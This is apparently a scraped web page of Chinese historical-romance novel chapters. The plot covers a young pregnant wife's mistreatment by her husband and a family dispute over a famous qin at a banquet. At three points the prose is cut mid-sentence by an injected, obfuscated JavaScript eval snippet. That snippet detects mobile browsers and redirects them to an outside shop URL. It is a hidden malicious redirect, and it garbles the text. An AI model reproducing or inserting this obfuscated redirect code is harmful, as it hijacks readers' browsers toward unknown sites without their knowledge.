谢瞻转向一侧看去,天尽头处已经染上了一小片的蟹壳青,淡粉色的织金裙摆于松林中若隐若现,在摇摇欲坠的夕阳下宛如金箔熠熠生辉。 “你先下去,没我的命令不许进来。” 谢瞻把帕子收进裤腰里,拿起手旁的弓弩便下了台矶。 “滚出来。” 松林中,眼看三人就要联手捉住绵绵,一道冰冷的男人声音突然在耳旁响起,吓得三人俱是一个激灵,跑到手边的绵绵受惊地飞奔了没影。 “谁在那里,”谢瞻又重复了一遍,冷冷道:“滚出来。” 锦书和韶音都不安地看向沈棠宁。 沈棠宁脸色发白,连忙转身就走。 “滚出来!”谢瞻喝道。 沈棠宁脚下一绊,险些跌倒在地上。 片刻后,沈棠宁深吸口气,带着两个丫鬟走了出来。见到谢瞻的那一刻,她却花容失色。 因为谢瞻手里的箭矢对准了她。 不及她作出反应,“嗖”的一声,谢瞻松了弓弦,白羽箭直直地朝着她的面门飞来。 沈棠宁杏眼圆瞪,脑中一片空白,刹那间她闭目,下意识地伸手护住了自己的小腹。 劲风一闪而过,箭矢没在她脚边的草地里,似乎有什么东西扑通了几下。 箭没射中她。 直过了好一会儿,沈棠宁才睁开眼,发现自己没死,若不是锦书和韶音两个扶着她,怕是早就要软倒在地上了。 她呆呆地抬起头,落日的余晖从谢瞻的背后射来,仿佛在他俊美的脸庞上镀了一层金色的光辉,就在这片耀眼的金色里,谢瞻朝她笑了一下,笑容却有些恶劣。 沈棠宁身子依旧在发抖,终于回过神来自己是被他戏弄了。 他这人向来便是如此,只是因为想戏弄她,便朝她射出一箭,也不管那箭会不会伤到她,伤到他们的孩子。 谢瞻向沈棠宁走来。 他赤裸着上半身,蜜合色的肌肤结实有力,身上火热的温度和雄性浓烈的气息、汗味扑面而来,熏得人脸热。 他走到沈棠宁面前了,他依旧没有停下,还在向前。 从小到大,养于深闺,沈棠宁还从未见过男人赤裸的上半身,尤其,还是谢瞻这样精壮有力,极富冲击力和男子气概的男人躯体。 她脸庞不由自主地烧了起来,身体向后退。 谢瞻停在沈棠宁面前,蓦地俯下身,一张放大的俊脸呈现在沈棠宁的面前,汗湿的发一缕缕随意地黏在他的额上,浓眉凤目,锐利如电。 沈棠宁吓了一跳,从她视线刚好能看到谢瞻胸口的……她连忙偏过脸去。 找了一下午的兔子,女孩儿乌发蓬松散乱,长长的睫毛慌张垂着,脸蛋粉扑扑,丹唇樱桃似的饱满圆润,离得太近,连她脸上的细小的绒毛都清晰可见。 连随便出来一趟都要打扮成这样,还说不是爱臭美。 谢瞻心里嗤笑一声,从她脚边捡起了那只兔子。 “你在这里鬼鬼祟祟做什么?” “我丢了东西,在找……” 他说话时粗重的呼吸喷在沈棠宁的头顶上,沈棠宁很不自在,就越说头垂地越低。 “这样冷的天,你要不要先穿上衣服……” 她窘迫地眼睛都要无处安放了。 她这幅模样,和那些见到他就害羞紧张,却仍强装镇定的寻常女子没什么两样。 只怕找东西是假,过来偶遇他才是真,一番嘘寒问暖,再下句话,她又该说要给他做身棉衣了。 “你找东西便找东西,脸红什么?”谢瞻眯了眯眼,慢慢说道:“还是说,你是在这里干什么不可告人的勾当?” “我没有!” 沈棠宁抬眼,又迅速垂下,这次终于看到了谢瞻手里提溜着什么东西,大吃一惊—— 她的绵绵! 谢瞻冷冷道:“这里不是你该来的地方,以后你不许过来,听清楚没?” 说罢扭头就要走。 “等等!” 沈棠宁连忙张开手挡在了谢瞻面前,着急地看向他手里的绵绵。 绵绵小腿被谢瞻射中,雪白的兔子毛上黏着一绺绺打结的血渍,整只兔子都蜷缩在地上,也不知道还有没有气。 谢瞻看她一眼,明白了。 “你找的,就是这个畜生?”他提起绵绵道。 沈棠宁忙点头,“它叫绵绵,是我养的!” 绵绵两只兔耳朵被他薅在手里,整只兔子垂头丧气的,她心疼极了,伸手想去接,谢瞻却手一提,她就够不到了。 “你养的?”谢瞻说道:“在我谢家,吃谢家的东西,就是我谢临远的,滚开!” “你!你怎么这样……” “我哪样?”谢瞻冷笑道:“我告诉你,既然是我的东西,我想怎么处置就怎么处置,”顿了下,恶劣地道:“回去我就把它炖成兔子汤!” 沈棠宁脸上的血色褪尽,眼底涌上泪花儿。 看着她单薄的双肩吓得打颤,却是一幅敢怒不敢言的畏惧模样,谢瞻心情更好了,拎着手里的胖兔子抬脚就走。 “站住!”沈棠宁急到。 担心他真回去把绵绵给炖了汤,情急之下沈棠宁拉住了他的手腕。 她的掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈棠宁每日给绵绵的伤腿上敷药,固定夹板,不放她再出笼子。 绵绵终日精神萎靡,无精打采,只有小灰陪伴在它的身边,沈棠宁觉得绵绵和她现在的样子越来越像。 这日谢嘉妤和冯茹登门造访。 谢嘉妤的未婚夫卫桓出身郑国公府,卫谢两家乃世交,谢嘉妤和卫桓从小青梅竹马,半年前由长辈定下亲事,婚期定在谢嘉妤及笄之后。 再有几日便是卫太夫人的六十寿辰,卫太夫人喜欢丝竹器乐,尤其一首《猗兰操》,谢嘉妤便投其所好,日夜苦练,想在老人家寿辰之时当众弹奏一曲,艳惊四座。 奈何谢嘉妤平素不擅弹琴,而《猗兰操》琴音典雅,清幽深远,有种佳人飘飘兮遗世独立的味道,她弹奏出的曲子却无论如何都没有这种感觉。 冯茹告诉她,若是能寻到一张音色通透清幽的琴,那么即使演奏者琴艺不佳,名贵的琴也使得曲子增色不少。 “你手中,可有绿绮?” 谢嘉妤像是有备而来,坐下就紧盯着沈棠宁发问。 沈棠宁微微蹙眉,片刻后,轻声答道:“绿绮的确在我手中,不知四姑娘为何会问起它来?” 谢嘉妤拊掌喜道:“那就太好了,我还寻思你怎么会有绿绮这等价值连城的名琴……真是踏破铁鞋无觅处,得来全不费工夫,我想借你绿绮一用,或者你卖给我,价钱你随意开!” 谢嘉妤对绿绮胜券在握。 没想到,沈棠宁却婉拒了她。 “抱歉,恐怕要让四姑娘失望了,我不能把绿绮借给四姑娘。” 17.第 17 章 谢嘉妤板着脸进了屋,冯茹忙迎上来问:“怎么样,阿妤你借到绿绮了?” 蝶香替谢嘉妤回道:“没接到,世子夫人说不借。” 冯茹吃惊道:“不可能!我亲眼看见她那个叫做锦书的丫鬟去琴行修过绿绮,后来我还去打听过,修琴的店老板和师父都说那张绿绮是真的,她怎么可能没有?” 谢嘉妤叫道:“她不是没有,她是不借!”气鼓鼓地瞪向冯茹道:“茹表姐,不是你胸有成竹地拍板说她肯定会借我吗,我都快把银子砸她脸上了,她愣是一个字都不松口,你知道我刚刚有多丢脸吗?!” 君子不夺人所爱,沈棠宁不借,谢嘉妤就是再有钱也不能去硬抢。 之前冯茹得知她想买张名琴弹《猗兰操》,特意告诉她沈棠宁手中有张绝世名琴,谢嘉妤听了很是激动兴奋。 那可是绿绮,几百年前司马相如就是用这把绿绮琴挑卓文君,若是她手中有绿绮,何愁得不到在座所有人羡慕惊艳的目光! 冯茹还说沈棠宁有意讨好娘和她,如果她亲自去借,沈棠宁断然不会拒绝,这才导致谢嘉妤去之前信心满满,乘兴而去,败兴而归,挫败极了。 “可她不是有绿绮吗,有为什么不借给你,大家都是一家人,她这是什么意思,莫非是故意欺负你?阿妤你别生气,我去给你要!” 冯茹说着立时就要起身,谢嘉妤忙拉住她道:“好了茹表姐你别去了,我刚刚都去过一次了,万一她又把你给拒了,我以后还怎么去见她?” 冯茹这才作罢。 冯茹心想,一张琴而已,沈棠宁为何甘愿冒着得罪谢嘉妤的风险都不肯借? 里面肯定有猫腻。 比起沈棠宁,冯茹更想讨好谢嘉妤,和谢嘉妤交好,不仅府里的姐妹会高看她一等,谢嘉妤还能时常向她透漏些谢瞻的行踪。 自打上次从小校场哭着跑走之后,冯茹至今都没再有机会见谢瞻一面。 她心里既怨恨谢瞻薄情,又恨自己没有沈棠宁那等绝色的容貌和孩子撑腰。 不过沈棠宁已经够美了,京都第一美人,表哥不还是对她不屑一顾,也许表哥看重的根本就不是女子的外表呢? 冯茹很快收拾好心情,重振旗鼓,她决定去一趟平宁侯府亲自探探沈棠宁手中这张绿绮的来历。 先前她在一个小姐妹的茶宴上与沈芳容有过几面之缘,想约她出来见一面倒是不难。 第二日,沈芳容如她所料爽快赴约,但听冯茹说起绿绮,沈芳容脸上的表情不受控制地扭曲了一下。 “冯姑娘既然问了,那我也没什么好隐瞒的,”沈芳容淡淡道:“那张琴不是我沈家的,而是我堂姐的前未婚夫——忠毅侯萧仲昀所赠。” 冯茹瞬间想通了一切。 难怪沈棠宁不愿借琴给谢嘉妤,一来此琴是她昔日旧情郎的爱物,二来这琴的来历不好解释,若是不小心说漏嘴,沈棠宁竟敢把她旧情郎之物拿给她来用,谢嘉妤这大小姐可是随时要发脾气的。 冯茹了然。 但绿绮的来历和沈棠宁愿不愿借琴与她冯茹没关系,冯茹要做的就只有一个目的——那就是讨好谢嘉妤。 冯茹沉吟片刻,笑道:“既然是忠毅侯之物,你堂姐怕也不好再拿到众人面前了,我适才听妹妹说这张琴如今就在沈家的库房里,这样吧,你将绿绮买与我,我给一百两银子如何?” 一百两银子?这能打多少副头面,买多少珠宝首饰! 要把绿绮从沈棠宁的库房里偷出来并不难,沈芳容按下心中的激动,“原来是谢小姐看中绿绮了,那是绿绮的福气,至于价钱几何,这好商量!” 冯茹就这么从沈芳容手里买到了绿绮,谢嘉妤给她三百两,她还倒吃了两百两银子的回扣。 冯茹告诉谢嘉妤,绿绮是沈棠宁的叔父平宁侯特意为侄女买来的礼物,后来沈棠宁出嫁,把绿绮留在了家里,按理说绿绮应当是沈家的,而非独属于沈棠宁。 且冯茹打定主意,沈棠宁不可能告诉谢嘉妤绿绮乃萧砚所赠,那岂不是主动把把柄递到旁人手里? 如此,冯茹从沈芳容手中买回绿绮,钱货两讫,理固宜然。 谢嘉妤得到绿绮,喜不自胜,又赠了冯茹不少珠宝首饰,皆大欢喜。 - 腊月十五,卫太夫人六十大寿,卫府门前迎来送往,门庭若市。 沈棠宁由丫鬟们扶着,从马车上小心下来。 王氏与她同乘一辆马车,紧跟其后。 这是王氏第一次带婚后的沈棠宁赴宴。 卫家与谢家乃世交,郑国公卫绶与镇国公谢璁当年同为隆德帝潜邸旧臣,私交甚笃,卫太夫人的宴会办得盛大隆重,恰巧沈棠宁有孕四个多月,太医看过说胎位稳正,王氏思虑再三便将沈棠宁带了出来,接着这场寿宴一起走走亲戚。 沈棠宁跟在王氏身后,去了后宅女眷招待处。 上房,屋内早已高朋满座,熙熙攘攘,大家都忍不住好奇地看向王氏身后的沈棠宁。 沈棠宁也在其中看见了不少往日熟悉的面孔。 她今日披了一件白狐狸毛的厚披风,丫鬟们帮她摘下披风,只见她上身穿着一件茜红色的八宝妆花褙子,下着一条纱挑线穿花凤缕金拖泥裙子,茜红色衬得她脸色红润,肤若凝脂,光彩照人。 众人见了皆心中暗暗惊艳不已,王氏把沈棠宁引见给卫太夫人与郑国公夫人,卫太夫人惊叹于沈棠宁的容色,当着王氏的面拉起沈棠宁的手,夸得把人没入脚处,连谢嘉妤都有些吃醋不高兴了。 其他的那些贵女们面面相觑,有心思活泛些的妇人,凑到王氏这边来殷切热络地介绍着自己的女儿给王氏看。 沈棠宁出身低微,肚子里还怀着身孕,倘若谢瞻要纳妾,这样好的条件哪里去寻,便宜谁也不能便宜了别人! 沈棠宁一一微笑着应对。 饭后,屋里实在太闷,沈棠宁胃口不太舒服,王氏便让锦书和韶音陪着她出去走一走。 郑国公府的丫鬟延引着沈棠宁去了一处僻静的小花园散步,韶音见园子里摆的海棠花好看,便央求丫鬟剪下来一朵簪到沈棠宁的发髻上。 丫鬟嘴甜,没口子地夸赞道:“谢夫人生得真美,这满园子的花凑起来都及不上您容色的十分之一呢!”把沈棠宁夸得脸色微微泛红。 “人靠衣服马靠鞍,有些人可别以为自己穿上金丝织的衣服就算是嫁入豪门了!” 几人正说笑着,忽有一个女子的冷笑声从背后传来,沈棠宁僵了一下,转过身去。 来人有四五个,为首走在最前头的女子看着约莫十四五岁的年纪,瓜子脸,浓眉美眸,看向沈棠宁的眼神里却充满了愤恨,她身后另外站着个与她同龄的贵女,看面目亦是十分眼熟。 “怎么,这就要走,你还知道自己没脸见我?” 见沈棠宁要走,萧薇快步走上前来拦在她的面前,“沈棠宁,你对得起我哥哥吗,我哥哥为了你在战场上浴血奋战,你呢,身上穿着绫罗绸缎,头上戴着金钗玉簪,谢家的富贵迷人眼,你怕是早就把我哥哥忘到九霄云外了!” “阿薇,你还与她计较什么,有些人攀上了高枝儿就忘了自己的出身是个什么东西了,你以为你千方百计嫁进了谢家,谢家人就真瞧得起你么?” 萧薇的好友苏九娘在一旁跟着煽风点火道。 “放屁!你们还好意思说,萧薇,都是你这泼……” 韶音刚竖了眉准备开骂,沈棠宁一把拉住她,低声道:“好了,我们走吧!” “站住,你不许走,你给我把话说清楚了!” 萧薇叱道。 “啊——” 沈棠宁痛得叫了出来,萧薇直接从后面揪住了沈棠宁的头发,狠狠扯着,边扯边骂。 锦书和韶音大吃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481206|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊,忙护着沈棠宁去撕打萧薇和苏九娘,苏九娘和萧薇的两个丫鬟却也不是吃素的,撸起袖子学她们主子抓扯锦书和韶音的头发。 郑国公府的丫鬟一看情势不妙,忙跑了出去喊人。 园子里顿时乱成一锅粥,萧薇口中骂得难听极了,什么荡.妇娼妇之类的话都骂了出来,萧薇看着沈棠宁那张受难亦美得凌乱而楚楚可怜的脸蛋,心内更是嫉恨不已,眼看抬手一巴掌就要挥下去。 她的手腕被人紧紧地握住。 “滚!” 一人喝道,将萧薇向下一搡。 萧薇尖叫一声,一屁股就跌到了地上。 “是谁,谁敢推我?!” “你说我是谁?”那人冷笑。 萧薇被丫鬟从地上扶起来,终于看清楚了—— 头顶上的男人剑眉星目,脸似寒霜,浑身上下却透着一股子狠厉煞气,不是镇国公世子谢瞻又是谁? “谢郎!” 还不及萧薇出声,苏九娘就大叫了起来,“不是我们先动的手!” 谢瞻看过去,苏九娘脸又腾得红了,结结巴巴道:“谢、谢郎,你,你认识我吗,我,我是洛阳苏家的九娘……” 苏九娘咽了咽口水,因为谢瞻盯得她头皮发麻。 萧薇狼狈地从地上爬了起来,还想再骂,到底害怕,赶紧拉着还在娇羞发痴的苏九娘,不甘心地瞪了眼沈棠宁后几人逃之夭夭。 “没出息的东西。” 谢瞻讥讽她。 沈棠宁发髻全散了,金钗也溜到地上,衣衫凌乱,两个丫鬟上来帮她收拾,她觉得难堪极了,身体蜷缩在一处,垂着头一声不吭。 谢瞻皱了眉,刚要说什么,她忽然抬起了头来。 “谢谢。”她轻轻地说。 她额上和腮边细嫩的肌肤有几道红痕,下巴尖尖的没什么肉,泪水在泛红的眼眶里打转,看起来又狼狈又可怜兮兮。 郑国公府的丫鬟很快带人赶了过来,见沈棠宁浑身都乱了,道歉不迭,引着她去了最近的更衣室,到院门前时,沈棠宁扭过去头。 谢瞻仍在她身后的不远处跟着,见她望过来,他没停住步子,没什么表情地扭头走了。 - 却说萧薇在谢瞻那里自讨了没趣,正生气地四下乱走。 谢瞻英武俊美,家世显赫,曾经自然也是萧薇的梦中情郎,可如今这个梦中情郎护着的却是一个辜负了她哥哥的女子,一个浪荡水性的女子! 萧薇既愤怒又难以置信,为什么全天下的男人都喜欢沈棠宁,沈棠宁除了有一张漂亮的脸蛋还有什么?! 就凭这一张脸就能叫所有男人都对她死心塌地,凭什么,凭什么,世间安能有此理! 冯茹手里抱着绿绮,坐在暖亭里。 谢嘉妤不在,让她帮忙看着绿绮,冯茹忍不住试了试音,绿绮音色果真名不虚传,有股空灵清透的声乐之美,仿若使人置身于幽冷的山林之间,这是其他任何名琴都望尘莫及的独特之处。 不知不觉弹至忘我之境的时候,忽有一人愤怒地闯进了暖亭里,指着她语气差劲地问道:“冯茹,你手下弹的这张琴叫什么?” 冯茹认出了眼前的女子正是忠毅侯府的二小姐萧薇,只是萧薇这态度让冯茹很不爽快,“萧姑娘,我弹的琴叫什么与你何干?” 萧薇和谢嘉妤不是一个圈子里的,但大约都是心高气傲惯了,这两人素有些不大对付,是以冯茹也不爱搭理萧薇。 萧薇正满肚子气没处撒,冯茹可算撞到了她的枪口上,萧薇冲上前就指着冯茹的鼻子破口大骂道:“你说何干,这张琴是我萧家的,你算个什么东西,谢家的一条狗,把它还给我!” 冯茹好歹也是谢家的表小姐,顿时勃然大怒,站起来瞪着萧薇道:“胡说八道,你说是你的就是你的,你叫它它应你吗!” 两人撕打在了一处。 18.第 18 章 沈棠宁尚不知冯茹因为她的一张绿绮闯下了大祸。 重新装扮之后她随着郑国公府的丫鬟回到了上房,并叮嘱丫鬟不要将她与萧薇在园子里大打出手的事情告知郑国公夫人与王氏,以免坏了大家的兴致。 丫鬟识趣地应下。 午后女眷们聚在一处吃茶赏花,贵女们则表演才艺陆续为卫太夫人祝寿讨她老人家欢心,王氏等了许久不见女儿谢嘉妤,和沈棠宁闲聊道:“这孩子一转眼不晓得去了哪儿,昨日她还说自己得了张绝世名琴,要为老太太弹奏一首《猗兰操》,眼下人却没了影儿。” 又对秦嬷嬷道:“你去找找她,别出什么岔子才好。” 听到“绝世名琴”四个字,沈棠宁不知为何莫名生出了不祥的预感。 她预感的没错,果不其然,一刻钟之后秦嬷嬷匆匆忙忙地赶回来,不巧王氏出去解手了。 这段时间秦嬷嬷冷眼旁观,见沈棠宁也不是个惹是生非的,遂俯身压低声音对沈棠宁说道:“出事了,世子夫人快去看看吧,四姑娘和忠毅侯家的二小姐在园子里为一张琴打起来了!” 沈棠宁心猛然一沉,立即起身。 “在哪儿,劳烦嬷嬷赶紧带我过去!” …… 那厢萧薇与冯茹在郑国公府的知春亭中大打出手,随后谢嘉妤赶到,靠山来了,冯茹连忙向谢嘉妤告状萧薇欺负她。 谢嘉妤出离愤怒,她早就看不惯萧薇许久了,如今新仇旧账正好一起算,遂与冯茹联手撕打萧薇,三个大家闺秀在郑国公府的后宅弄得鸡飞狗跳,形如泼妇骂街。 冯茹眼看周围看热闹的人越聚越多,事情快要一发不可收拾,渐渐回过味儿来。 这张绿绮虽是出自沈棠宁,却是她亲自从沈家买来,为了讨好谢嘉妤她不仅撒了谎,还吃了回扣,一旦事情闹大,岂不是要将她先前做过的事情都抖搂出来! 冯茹这才慌了神,连忙劝架谢嘉妤和萧薇,待郑国公府的管事嬷嬷叫来郑国公世子卫桓时,只见谢嘉妤与萧薇两个平日里娇滴滴的贵女蓬头垢面一脸凶狠地互瞪着对方,一个拉不住立即就要再撕打起来。 “桓哥哥,她欺负我,你不许拦我!”谢嘉妤气咻咻地推卫桓。 卫桓拦着谢嘉妤说:“阿妤,你冷静些!”凑近她说:“你不要命了,你二哥等会过来!” “什么?!” 谢嘉妤与萧薇两人齐齐色变。 冯茹更是软倒在了地上。 卫桓先让人把萧薇带了下去,冯茹趁着卫桓不在,灵机一动,忙拉住谢嘉妤的手在她耳旁说了几句话。 谢嘉妤闻言面色发白,惊愕道:“茹表姐,你、你什么意思,你是让我说谎……” “什么说谎!”冯茹急忙捂住谢嘉妤的嘴,左右看看,低声道:“阿妤你吓糊涂了,等会瞻表哥来了你就按照我说的来,我保你不会有事!” 谢嘉妤还在犹豫之际,下人报谢瞻来了。 …… “世子夫人慢些!” 秦嬷嬷担心沈棠宁磕着碰着,扶着她不住提醒。 沈棠宁额上沁出细密的汗珠,脚下步子却丝毫不减。 适才她从秦嬷嬷描述中已经听了个大概,若是她没有猜错,谢嘉妤口中的那张绝世名琴不是别的,正是她的绿绮! 绿绮怎么会凭空到了谢嘉妤手中她不得而知,但她很清楚,萧薇十分厌恶她,必定是恨不得把事情闹大。 当初萧砚要向沈家提亲,萧家众人无不反对,为了娶她萧砚是不惜违抗了族老与母命,萧老夫人才勉强接受她,萧薇见了她向来只有冷眼。 与萧家退婚后,萧老夫人曾带人到普济寺中当众掌掴她,萧薇更是一边唾骂,一边命人将她所住的净室打砸,绿绮就是险些毁坏在萧薇的手中。 沈棠宁自觉愧对萧砚,所以才一再容忍了萧薇对她的辱骂,倘若他们一家人能够解气,她愿意受些屈辱,毕竟从小到大那样的话她听了也不少。 可没想到她的一再退让,换来的却是对方变本加厉的欺凌。 她不想借琴给谢嘉妤,并非不给谢嘉妤面子,而是不想闹出这些事端,何况她与萧砚已成过往,守着绿绮在身旁,只会让她想起从前那些往事,徒增伤感。 那日离开寻春小榭时,谢嘉妤看着分明是死心了的样子,为何最后绿绮还是到了她的手中? 沈棠宁和秦嬷嬷很快就到了知春亭,亭子里和亭子周围一片狼藉,纱幔被撕坏,茶杯倾倒,花圃里摆的名贵花种也被砸得稀烂。 丫鬟把两人请到一旁的花厅里,刚进去就听到谢嘉妤大哭的声音传进来,“……呜呜,是她先动手的,我不过是离开一会儿的功夫她就欺负茹表姐,我怎么能忍得下这口气,哥哥你信我……” “闭嘴,你现在知道哭了,哭什么哭!” 谢瞻暴躁的呵斥声吓得谢嘉妤的哭声戛然而止。 沈棠宁脚步一顿,秦嬷嬷停下来疑惑地看着她,“世子夫人,你可是那里不舒服,我看你脸色似乎不大好?” “没事……我们进去吧。” 沈棠宁脸上勉强扯出个笑。 “嬷嬷你来了!” 谢嘉妤一见到秦嬷嬷,犹如抓住了救命稻草般欢喜地喊道,然而待看到秦嬷嬷身边的沈棠宁,谢嘉妤眸光一闪,缩了缩脖子。 秦嬷嬷不动声色地将谢嘉妤护到了她的身后,笑着问道:“世子,卫世子,不知这是发生了什么事,用得着如此大动肝火?我与世子夫人一听说四姑娘和忠毅侯府的小姐打起来了就立马赶过来了,”又心疼地看向谢嘉妤,“天可怜见,四姑娘的脸怎么伤成了这样!” 卫桓在一旁和秦嬷嬷解释的时候,沈棠宁察觉到一道冰冷的视线,抬眼看去,一怔。 谢瞻对她态度一向恶劣,哪怕刚刚他才帮她打发了欺负她的萧薇,对她依旧没个好脸色,但沈棠宁心中是很感激他的。 只是这才过去多久,甚至不到一个时辰的时间,他的脸上又对她表露出了这样表情。 这样不加掩饰的厌恶。 “这张琴是谁的,你的,还是你前面那个男人的?” 谢瞻看着她,黑眸沉沉,一字一句地问。 他手边的案几上,摆着一把泛着幽幽绿光的古琴。 沈棠宁一眼就看到了绿绮,呼吸猝然变得困难。 卫桓和秦嬷嬷停止了交谈,不约而同地朝沈棠宁和谢瞻两人看过来。 沈棠宁只能沉默。 “不敢回答,这么说你是承认了?” 谢瞻冷笑,沈棠宁的沉默,在他看来无疑就是默认。 “是你主动把琴给的嘉妤?” 他喝问,嗓音中已然透出了凛然怒意。 沈棠宁震惊地看向谢嘉妤,谢嘉妤目光躲闪,低下了头去。 冯茹见谢嘉妤不说话,赶紧说道:“就是她给的阿妤妹妹!是她!她听说阿妤想为卫太夫人献曲,主动献上绿绮,我与阿妤竟不知这琴是出自萧家!” 又转脸看向沈棠宁愠怒道:“世子夫人,既然你知道这琴的来历,为何还要把它给阿妤?若不是因为你,我们今日也不会与萧薇闹得这么难看了!” “嘉妤,我要你再说一次,绿绮是不是我给的你?” 沈棠宁定定地看着谢嘉妤。 谢嘉妤耳根通红,正支吾着说不出个所以然时,冯茹突然拉住了她。 “两位夫人来了!” 两个丫鬟从门外递话儿,少顷,王氏与郑国公夫人联袂走进来。 “桓儿,这是出什么事了?”郑国公夫人率先问卫桓。 谢嘉妤满头大汗,对沈棠宁使劲摇头,目露乞求,王氏美眸微眯,沉声问:“嘉妤,是不是你又给我惹麻烦了!” “不怪阿妤妹妹!”冯茹立即跳出来指着沈棠宁叫道:“夫人,是世子夫人干的好事,您问她!” 秦嬷嬷在王氏和郑国公夫人耳边耳语几句,王氏一怔,看向了沈棠宁。 饶是疑虑,她也并没有一开口便责备沈棠宁,而是眼神里带着关切的询问。 “阿沈,你告诉我,出什么事了?” 从沈棠宁嫁入谢家,从始至终,只有一人从未对她持有过任何偏见,即使她是用那样不光彩的方式进了镇国公府的大门。 那个人便是王氏。 她又怎么能让她疼爱的女儿当众失了颜面,受了委屈呢。 沈棠宁心头一片苦涩。 良久之后,她平静地道:“是,琴是我的,是我给的嘉妤。” …… 来的路上仆妇们已经给郑国公夫人和王氏把事情来龙去脉讲了一遍,不过只知道谢嘉妤、冯茹与萧薇是一言不合大打出手,并不知道三人争执起来实则是为了一张琴。 萧薇是太夫人那边的客人,那厢在厢房里哭得是梨花带雨,郑国公夫人去安慰萧薇,接下来就是谢家人的事情了,卫桓不便插手,遂跟着母亲离开。 王氏有心把事情再问女儿一遍,冯茹担心谢嘉妤露馅,依旧抢着把话说了一遍,王氏耐心听冯茹说完,随后看向沈棠宁。 “阿沈,你来告诉我,事情是否是茹儿说的这样?” 她的语气很温和。 “夫人恕罪,绿绮是我的琴,是……忠毅侯所赠,可我并不知道萧小姐也会出席郑国公府的宴会,先前我得知嘉妤想为卫太夫人献曲,便提议嘉妤可用绿绮弹奏,绿绮是绝世名琴,我并不想绿绮埋没在我手中,这才将绿绮赠予嘉妤。” “只是后来没想到会发生这些事,一切争夺皆由我而起,是我不该赠琴,思虑不周,夫人要罚,罚我便好,与嘉妤无关。” 沈棠宁说着便跪了下去,王氏让秦嬷嬷把沈棠宁扶起来,看了她半响才说道:“好了,你还怀着身子,别动不动就跪下。事已至此,既然一切都是巧合,与你和嘉妤都没关系,这到底是在别人家中,又是一家子的亲戚,闹开了并不好看,你若是不舒服,我让秦嬷嬷送你回去。” 王氏接着又沉声对谢嘉妤道:“嘉妤,茹儿,你们随我去向萧家小姐道歉!” 谢嘉妤和冯茹垂头丧气地跟着王氏离开了。 秦嬷嬷看向沈棠宁,“世子夫人,咱们也回吧。” “站住。” 沈棠宁还没有回答,谢瞻叫住两人,淡淡道:“秦嬷嬷,我担心母亲一人应付不来,你随母亲过去处置,我带她回去,这里不用你管。” 秦嬷嬷怔了一下,她瞟沈棠宁一眼,旋即笑道:“那成,世子,世子夫人,老奴便先走了。” 秦嬷嬷屈身退了下去。 屋里只剩下了沈棠宁与谢瞻两人。 谢瞻踱步到沈棠宁身后,沈棠宁后背僵直,听他慢慢说道:“让我来猜一猜,你是不是觉得自己刚才演戏演得很好,在我母亲面前装够了可怜,顺利躲过一劫?” 他冷笑一声,蓦地伸手钳住她的下巴,迫使她踉跄着扭过身来。 “你骗得了旁人,莫以为能骗得过我!” “你早就知道萧氏会来!你与萧氏关系不和,你想利用嘉妤报复萧氏,所以故意把琴赠给嘉妤,因为你知道萧氏若看见她兄长的琴在嘉妤手中,必定来抢!而以嘉妤的性格,定然不会善罢甘休,届时鹬蚌相争,渔翁得利,看着她们两人撕打,你现在心里是不是舒坦极了!” 他的语气阴沉冰冷,像井底的雨水般透着股瘆人的寒意,沈棠宁耳后立即起了一层鸡皮疙瘩。 “我不知道……我不知道忠毅侯府的人也会来参加卫太夫人的寿宴,若是我一早知晓,我绝不会把绿绮借给嘉妤……” “还要狡辩!你难道要我亲口拆穿你,萧仲昀的堂妹嫁给了卫太夫人的外孙,你和他定亲那么久,难道会不知!” 谢瞻怒道。 自打和萧家退婚之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493244|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈棠宁就没有再去打听与萧家有关的事情,身边的人也都很默契地不在她面前提起萧仲昀这个人。 他越来越用力,指腹在她娇嫩的下巴上留下一道深深的红痕。 沈棠宁一面捶打着他的胸口,一面惊恐地叫道:“放开我……疼!我没骗你,我的确不知道!” 她终于明白了,为何她进来时他看她的眼神那样的古怪可怕,原来他在园子里看见萧薇欺负她,就以为她与萧薇交恶,想要报复萧薇,之后她所做的一切都变成了别有所图、欲盖弥彰! 他这个强盗,总是这样不分青红皂白地冤枉她! “不管我说什么,你根本就不会信我,谢临远……”沈棠宁疼得沁出眼泪。 这是她第一次连名带姓叫他的名字,气极之下的声音和呼吸都在颤抖,“一切都是你的猜测,可你、你除了这样欺负我一个弱女子,你还会做什么!” 谢瞻两手一擒扣住她不住捶打的腕子,怒极反笑道:“我欺负你?我便是欺负你又如何!你也不照照镜子看看自己是个什么东西,以为处心积虑地嫁进了谢家,就真能飞上天变凤凰?我告诉你沈氏,别把我当成你先前勾引过的那些蠢男人,在我面前耍心眼儿,你还不够格!” 他又是……又是这般羞辱她…… 沈棠宁脸一阵红一阵白,好半天才竭力忍住没让泪掉下来,只在眼眶中打着转儿。 